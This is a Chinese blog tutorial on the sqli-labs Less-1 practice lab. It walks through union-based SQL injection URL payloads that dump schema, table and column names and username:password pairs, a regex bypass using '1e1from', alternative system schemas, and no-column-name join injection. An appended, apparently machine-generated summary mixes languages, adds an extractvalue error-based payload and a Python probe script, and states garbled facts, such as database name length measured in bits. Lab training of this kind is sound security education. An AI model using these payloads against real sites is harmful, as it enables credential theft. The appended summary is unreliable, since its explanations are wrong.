SQL Injections及sqli-labs练习

目录

一、SQL Injections

二、sqli-labs

1.less-1

(1)代码解析

(2)查询语句的利用

①查询方式

a:联合查询

b:and

(3)利用过程

①得到用户名和密码的前提

②联合查询

③SELECT * FROM users WHERE id='$id' LIMIT 0,1

④联合查询时前面为假后面才会为真

⑤可控字段

(4)注入查询数据

①终端注入

②网页注入

(5)less-1.1

①分析正则

②科学计数法的引入

(6)less-1.2

①替代库

②无列名注入(使用join-using注列名)

③不使用列名进行注入


一、SQL Injections

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行, 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

二、sqli-labs

1.less-1

(1)代码解析

<?php
//including the Mysql connect parameters.  数据库连接
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))                     接用户的输入id
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');               打开一个文件
fwrite($fp,'ID:'.$id."\n");                用户输入的内容写入文件
fclose($fp);                               管道关闭

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";      输入的查询语句(1条)  
$result=mysql_query($sql);         
$row = mysql_fetch_array($result);                        查询出来为数组row
       
	if($row)                                       若数组存在,即可以查询到用户输入的id
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];     这条数据被包装成数组
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];       数组包含username和password
  	echo "</font>";
  	}
	else                                          数组中未取到值
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}   未get传参

?>

从数组中取值取出它的key,将值放入前端并写了html样式,若没取到,mysql会将报错打印,若最上面未使用get传参id,则会让你输入数字类型的id。

①使用get传参,$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";语句中传入的id,其实是users表中的id,id字段其实就类似于身份证编号是唯一可以区分用户的,如下图所示:

使用id作为限制条件查出某个人:

②将下图中的注释打开,即可得到我们查询到的数组的数据

由上图可知,数组是以key取值的。

(2)查询语句的利用

SELECT * FROM users WHERE id='$id' LIMIT 0,1

以字符串拼接的方式查询,并用单引号包裹,若id='1'是可行的,但如果传入了1'(相当于id='1''),产生如下图的报错:

单双引号一定是成对出现的,所以我们可以尝试逃逸出/闭合单引号,并进行数据查询(作为一个入侵者,要查询管理员的数据。

①查询方式
a:联合查询

由上图可知,联合查询时,两张表的列必须相同。

前端注入数据仅显示username和password,所以2、3字段要在出数据。

 b:and

(3)利用过程

①得到用户名和密码的前提

处于哪个数据库下? 哪个表?哪个字段里面?

security数据库下的users表中的username和password字段。

 若此时代码中是存在注入点的,可以使用联合查询编写sql查询语句,我们可以查询出前置信息:mysql版本号(有些版本存在漏洞)、用户权限(是否为root,若为root成功率更高)、当前所在数据库 。

mysql> select version();
mysql> select user();
mysql> select database();

q:普通用户,管理员后台找不到,密码无法破解???

a:尝试挖网站的存储型xss

②联合查询

此时是没有数据库权限的,仅有前端页面,使用联合查询如何知晓一个表有几列?    

使用order by函数(排序 )

排序可以使用1代表id作为第一列进行排序,如图当使用第四列排序时出错,我们可知仅有三列。

 ③SELECT * FROM users WHERE id='$id' LIMIT 0,1

由order by函数,我们可以对php代码中sql查询语句做如下利用:

SELECT * FROM users WHERE id='1' oder by 1-- ' LIMIT 0,1

mysql注释方式:
单行注释:--(一个空格)    
         #        
多行注释:/**/  */
--空格  :在url中要转换为--+

上图中展示报错是由于   print_r(mysql_error());

④联合查询时前面为假后面才会为真

完成前三步后,做如下操作,查询未成功:

是由于在联合查询时前面为假后面才会为真!!!(前面的查到了后面的就不再执行了)

可以利用一个不存在的id(例如-1):

⑤可控字段

联合查询时将两张表连在一起进行查询,最后一行出现的是最后一个表的字段(1,2,3,),拼接的这张表三个字段,第一个字段为1,第二个字段2,第三个字段3,在前端展示时本来为username和password,此时为2和3,2字段为username,3字段为password。

本来没有联合查询时,前端展示出第一条的数据,使用联合查询有两条,输出了最后一条展示在前端,此时2和3其实是我们可以控制的,如下图:

我们可以使用输出再次理解(打开下图中的注释):

此时查询到的数据不再是具体的username和password,而上图中第一行代码为查询语句,这个查询语句查询的时表中的最后一行(row是行),相当于将两张表的查询结果拼在一起,第一张表查询结果是1 Dumb Dumb,第二张表查询结果是1 2 3,查询语句获取到最后一行的数据,找到username和password的字段,于是将2 3取出来展示到前端了。

 综上,我们可以对输出的2,3字段进行利用:

 如上图,得到了我们想要的数据,其实对1字段可以进行利用,只是它无法展示在前端而已。

(4)注入查询数据

 ①终端注入

information_schema是官方的库名,不会更改。

mysql> desc tables;
mysql> select table_schema from tables;

 查询出的这个字段中包含security这个库:

将库名作为条件,查出当前数据库中的表名:

mysql> desc columns;

查询security库下users表中所有的列:

查询到管理员的账号和密码:(密码需要解密)

 

②网页注入

?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

 此时我们可以查询到security库中所有表

?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

 ?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+

concat:只能查询一行的数据

函数group_concat:多行连接成一行展示


 

使用limit语句具体到一行进行查询:

?id=-1' union select 1,concat(username,0x3a,password),3 from users limit 1,1--+

?id=-1' union select 1,concat(username,0x3a,password),3 from users limit 2,1--+

0x3a是冒号

(5)less-1.1

在源码中$id=$_GET['id'];之后加入如下代码:

if(preg_match('/select\b[\s\S]*\bfrom/is',$id)){
    die('SQL Injection');
};
①分析正则

第一个\b匹配select单词边界,\s\S匹配到所有字符,最后一个\b匹配到from单词边界。

select...from被过滤,失效。

②科学计数法的引入

如果可以存在一个关键词,可以加在from前面,不会影响语句执行,从而实现绕过正则。

select group_concat(username,0x3a,password),le1from users;

1e1

上图中,相当于多出了一列le1,所以前面必须要有逗号。

 ?id=-1' union select 1,concat(username,0x3a,password),1e1from users limit 2,1--+

(6)less-1.2

在源码中$id=$_GET['id'];之后加入如下代码:

if(preg_match('/information/is',$id)){
    die('SQL Injection');
};

这段代码绕过了information库(查询的表都在此库中),我们需要找到一个可替代库。

①替代库

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

但这几个库都需要有root权限才可以使用,但还有如下表同样存放有库名表名 。(sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。 )

sys.schema_auto_increment_columns

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

均可代替 information_schema

②无列名注入(使用join-using注列名)

使用上述库不存在列名,只能查到库名和表名。

?id=-1' select * from (select * from users as a join users as b)as c--+
 

select * from后面跟表名,表名就是括号内查询的结果,而查询结果存在一个别名c,括号内子查询,users给自己一个别名a,然后连接了自己,给自己连接的值别名为b,两张相同的表相连,查询的结果赋值给c,此时由于users表连接自己,所以查询时会出现某些字段重复的提示,测试如下图:

将上述两张相同的表通过id、username、password连接起来,此时id、username和password不再重复(将id排除在外),使用id以外的其他值去连接

?id=-1' union select * from (select * from users as a join users as b using(id,username,password))as c--+

此时列名均已取出。

成功查到数据!

③不使用列名进行注入

要知道列名在第几列,由于回显了2、3列,所以肯定是在2、3列替换。

下列语句中,先进行了联合查询,然后将查询结果给一个别名a,然后外部查询第三列的内容。

上图中使用数据与列名进行连接,3外面是反引号,查询第三列的内容(password)。

这种情况下实际是不知道列名password的,但只查出在前端页面上回显出的数据所应的列也就是第三列,如果不清楚就去换一列继续查询。

q:若上述中的反引号被过滤,使用别名:

### sqli-labs-master 靶场通关原理与技巧 #### 1. 判断注入点和闭合方式 SQL 注入的第一步是确认是否存在可利用的注入点以及其语法结构。通过测试不同的输入来观察页面返回的结果,可以推断出 SQL 查询的具体形式及其漏洞位置。 例如,在某些情况下,可以通过简单的单引号 `'` 或双引号 `"` 来触发错误响应[^4]。如果页面返回异常,则说明可能存在未正确处理特殊字符的情况。此时可以根据返回的内容进一步分析目标系统的数据库类型、字段数量以及其他特性。 #### 2. 使用联合查询获取数据 当发现存在基于布尔型或者时间延迟类型的盲注时,可以尝试使用 UNION SELECT 方法读取额外的数据列。这种方法通常适用于能够控制整个 WHERE 子句条件的应用场景。 对于 Less-1 的例子来说,构造如下 payload 可以成功实现跨库检索并显示隐藏信息: ```http ?id=-1' union select 1,2,3 --+ ``` 此 Payload 将原本正常的 ID 参数替换成了负数加上逻辑运算符组合而成的新表达式[-1’], 并附加了一个带有三个固定数值的选择列表作为后续部分;最后再附上注释符号"--+"使得原SQL剩余片段被忽略掉从而不会影响最终执行效果[^1]. #### 3. 数据长度探测技术 为了更高效地提取敏感资料而无需逐字猜解每一个可能存在的字符串值,我们可以先测量它们各自的大小然后再逐一拆分拼接直至完全还原出来为止. 下面这个 URL 展示了如何利用 MySQL 内置函数 LENGTH() 结合 OR 连词快速定位当前所连接实例名称的实际位宽情况: ```http ?uname=a') OR LENGTH((SELECT database())) = 8# ``` 这里假设我们已经得知服务器端采用的是标准配置模式下的默认命名规则即 "test", 所以其实际存储占用空间正好等于八比特单位长度[^2]. #### 4. 错误消息解析法 有些时候即使无法直接看到预期中的反馈内容但仍有机会借助于程序崩溃产生的提示文字间接推测内部状态变化趋势进而调整策略继续深入挖掘潜在隐患所在之处. 比如当我们向系统提交参数为 '1"' 后得到类似这样的警告:"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for right syntax near '' at line 1". 显然这表明我们的请求确实进入了后台脚本流程当中但由于缺少必要的右半边配对方才中断下来未能顺利完成全部操作过程. #### 5. XML 解析漏洞滥用案例 除了常规手段之外还有一些特殊的攻击手法值得特别关注一下——那就是针对特定扩展功能模块实施精准打击行动之一便是EXPLOITING ERROR-BASED INJECTIONS VIA EXTRACTVALUE FUNCTIONALITY UNDER CERTAIN CIRCUMSTANCES LIKE SO: Consider this request pattern designed specifically towards uncovering all available tables within a given schema named 'security': ```http ?id=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) -- ``` Here we leverage another powerful feature provided by certain RDBMS implementations known as ExtractValue which allows us to craft complex XPath expressions inside our queries leading ultimately toward achieving similar goals mentioned earlier but through alternative pathways instead.[^3] ```python import requests def test_sql_injection(url): payloads = ["'", '"', ")"] for p in payloads: r = requests.get(f"{url}{p}") if "error" in r.text.lower(): return True return False print(test_sql_injection("http://example.com/vulnerable.php?id=")) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值